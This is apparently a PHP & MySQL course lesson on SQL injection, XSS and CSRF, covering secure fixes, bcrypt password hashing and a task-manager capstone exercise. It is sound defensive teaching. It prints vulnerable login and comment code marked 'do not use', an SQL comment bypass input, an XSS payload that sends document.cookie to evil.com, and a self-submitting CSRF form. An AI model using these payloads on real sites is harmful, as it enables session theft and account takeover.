Week 8: Module Project — PHP + MySQL CRUD App & Security

This week closes out PHP & MySQL Foundations. The first half is a proper security pass — the three vulnerability classes every PHP app must defend against, explained in terms of exactly what goes wrong and why the fix works. The second half is the module project: a complete, secured CRUD application built from everything in Weeks 1–7.

Module 8 of 28 Week 8 of 32 ~3–4 Hours Hands-on Exercise Included

By the end of this week, you'll be able to

  • Explain SQL injection, XSS & CSRF, and the specific mechanism that prevents each
  • Hash and verify passwords correctly with password_hash()/password_verify()
  • Ship a complete, secured PHP + MySQL CRUD application end to end

1. SQL Injection, Revisited Properly

Week 7 introduced prepared statements as "the safe way." Here's exactly what goes wrong without them. Consider a naive login check:

vulnerable-login.php — do not use
<?php
$email = $_POST['email'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE email = '{$email}' AND password = '{$password}'";
$result = $pdo->query($sql);

An attacker submits email = admin@example.com' -- as the email field. The concatenated query becomes:

the resulting query
SELECT * FROM users WHERE email = 'admin@example.com' -- ' AND password = '...'

-- starts a SQL comment — everything after it, including the password check, is ignored. The attacker is now logged in as admin@example.com with no valid password at all. This works because the input became part of the SQL structure, not just its data.

The fix, as covered in Week 7, is a prepared statement — the value is bound as data and can never alter the query's structure, no matter what characters it contains:

safe-login.php
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email'] ?? '']);
$user = $stmt->fetch();

// Password verification happens separately, in PHP -- see the hashing section below

2. Cross-Site Scripting (XSS)

XSS happens when attacker-supplied content ends up executed as HTML/JavaScript in another user's browser. Say a comments feature stores and displays raw input:

vulnerable-comments.php — do not use
<?php foreach ($comments as $comment): ?>
  <p><?= $comment['body'] ?></p>
<?php endforeach; ?>

An attacker submits a comment containing <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>. Every other visitor who views the page now runs that script in their own browser, with their own session — the attacker can steal session cookies, submit forms as that user, or redirect them anywhere.

safe-comments.php
<?php foreach ($comments as $comment): ?>
  <p><?= htmlspecialchars($comment['body']) ?></p>
<?php endforeach; ?>

htmlspecialchars() converts < to &lt;, > to &gt;, and similar — the browser renders the malicious payload as inert text, never as a live <script> tag. The rule from Week 1 stands: escape every piece of dynamic content at the point it gets printed into HTML, without exception.

3. Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user's browser into submitting a request they never intended — because browsers automatically attach cookies (including your session cookie) to any request sent to your domain, regardless of which site the request originated from. A malicious page hosted anywhere on the internet could contain:

evil-site.html — hosted elsewhere entirely
<form action="https://yourshop.com/delete-account.php" method="POST">
  <input type="hidden" name="confirm" value="yes">
</form>
<script>document.forms[0].submit();</script>

If a logged-in user's browser merely visits that page, it silently submits a POST request to your site — with their session cookie attached automatically, exactly as if they'd clicked "delete my account" themselves. The fix is a CSRF token: a random, per-session value embedded in every form, which an attacker's page has no way to know:

csrf-protected-form.php
<?php
session_start();

if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $submittedToken = $_POST['csrf_token'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) {
        die('Invalid request.');
    }
    // token is valid -- proceed
}
?>
<form method="post" action="delete-account.php">
  <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
  <input type="hidden" name="confirm" value="yes">
  <button type="submit">Delete My Account</button>
</form>

hash_equals() compares the two tokens in constant time, regardless of where they first differ — a plain === comparison can theoretically leak timing information about how many leading characters matched, which matters for security-sensitive comparisons like this one. Laravel generates and checks CSRF tokens like this automatically starting Week 9; here you're seeing the mechanism it's built on.

4. Password Hashing

Never store a password in plain text, and never write your own hashing scheme. PHP's password_hash() uses bcrypt by default — a deliberately slow, salted hashing algorithm designed specifically to resist brute-force attacks even if the database is stolen:

password-hashing.php
<?php
declare(strict_types=1);

// At registration
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
// $hash looks like: $2y$10$N9qo8uLOickgx2ZMRZoMy...
// Store $hash in the database -- never the raw password

$stmt = $pdo->prepare('INSERT INTO users (email, password_hash) VALUES (:email, :hash)');
$stmt->execute(['email' => $email, 'hash' => $hash]);

// At login
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email'] ?? '']);
$user = $stmt->fetch();

if ($user && password_verify($_POST['password'], $user['password_hash'])) {
    session_start();
    session_regenerate_id(true); // new session ID on privilege change -- prevents session fixation
    $_SESSION['logged_in'] = true;
    $_SESSION['user_id'] = $user['id'];
} else {
    echo "Invalid email or password.";
    // Deliberately vague -- don't reveal whether the email or the password was wrong
}

password_hash() automatically generates a random salt and embeds it in the returned string, so password_verify() can extract it and re-derive the hash for comparison — you never handle the salt yourself. PASSWORD_DEFAULT tracks PHP's currently recommended algorithm, so a future PHP version can improve it without any code changes on your end.

Same generic error for "wrong email" and "wrong password"

Returning a different message for "no account with that email" versus "wrong password" lets an attacker enumerate which email addresses have accounts on your site. One generic "invalid email or password" message avoids leaking that information.

5. The Module Project

This week's exercise is the module capstone — a complete task manager tying together every piece from Weeks 1 through 8: OOP structure, Composer autoloading, sessions, PDO with prepared statements, and everything from this week's security pass. Read through the target shape before starting:

project layout
task-manager/
├── composer.json
├── public/
│   ├── index.php        ← front controller: routes to actions below
│   ├── register.php
│   ├── login.php
│   ├── logout.php
│   ├── tasks.php        ← list + create (session-gated)
│   └── tasks-delete.php  ← delete (session-gated, CSRF-checked)
├── src/
│   └── App/
│       ├── Database.php       ← PDO connection factory
│       ├── UserRepository.php
│       └── TaskRepository.php
└── schema.sql
schema.sql
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(255) NOT NULL UNIQUE,
    password_hash VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE tasks (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT NOT NULL,
    title VARCHAR(200) NOT NULL,
    is_done BOOLEAN NOT NULL DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id)
);

6. Module Capstone Exercise

Module capstone

Build a secured, multi-user task manager

Everything from Weeks 1–8, wired together into one deployable application.

Requirements:

  1. Run the schema above and set up a Composer project with a psr-4 autoload mapping to src/App.
  2. Register: a form validating email format and password length (8+ characters), hashing the password with password_hash(), and rejecting duplicate emails with a friendly message (catching SQLSTATE 23000).
  3. Login: verify with password_verify(), call session_regenerate_id(true) on success, and show one generic error message on failure.
  4. Tasks list + create: session-gated (redirect to login if not authenticated), listing only the logged-in user's own tasks, with a form to add a new one.
  5. Delete task: must check a CSRF token, and must verify the task's user_id matches the logged-in user before deleting — a user should never be able to delete another user's task by guessing an ID.
  6. Escape every piece of dynamic content printed into HTML anywhere in the app.
The ownership check matters as much as the CSRF check

A user being logged in proves who they are — it doesn't prove they're allowed to delete a specific task. Checking WHERE id = :taskId AND user_id = :currentUserId (not just WHERE id = :taskId) on every delete is what actually stops one user from deleting another's data. This exact class of bug — authentication without authorization — is one of the most common real-world vulnerabilities, and Laravel's Policies (Week 13) exist specifically to make it structurally hard to forget.

7. Knowledge Check

Four quick questions. Expand each to check your answer.

Q1

Why does a stolen database full of bcrypt password hashes not immediately expose every user's actual password?

Hashing is one-directional — there's no computation that reverses a bcrypt hash back into the original password. Recovering a password requires guessing candidates and hashing each one to see if it matches, and bcrypt is deliberately slow specifically to make that brute-force process expensive, unlike a fast general-purpose hash like plain SHA-256.

Q2

Why does the CSRF form example use hash_equals() instead of a plain === comparison?

hash_equals() takes the same amount of time to compare two strings regardless of how many characters match before the first difference, while ==='s comparison can return faster the earlier a mismatch occurs. For security-sensitive comparisons like token or hash checking, that timing difference is (in principle) a side channel an attacker could exploit to guess the correct value one character at a time — hash_equals() exists specifically to close that gap.

Q3

Why call session_regenerate_id(true) right after a successful login?

It generates a fresh session ID and invalidates the old one, preventing session fixation — a scenario where an attacker forces or tricks a victim into using a session ID the attacker already knows, then waits for the victim to log in under that same ID to hijack the now-authenticated session. Rotating the ID on every privilege change (login being the most important) closes that window.

Q4

A delete-task endpoint checks that the user is logged in, and checks a valid CSRF token. Is that enough to stop one user deleting another user's task?

No. Both of those checks confirm the request is genuinely coming from a logged-in user's own browser — they say nothing about whether that specific user is allowed to delete that specific task. Without also checking that the task's user_id matches the logged-in user's ID, any authenticated user could delete any task simply by guessing or incrementing task IDs. This is the difference between authentication (who are you) and authorization (what are you allowed to do).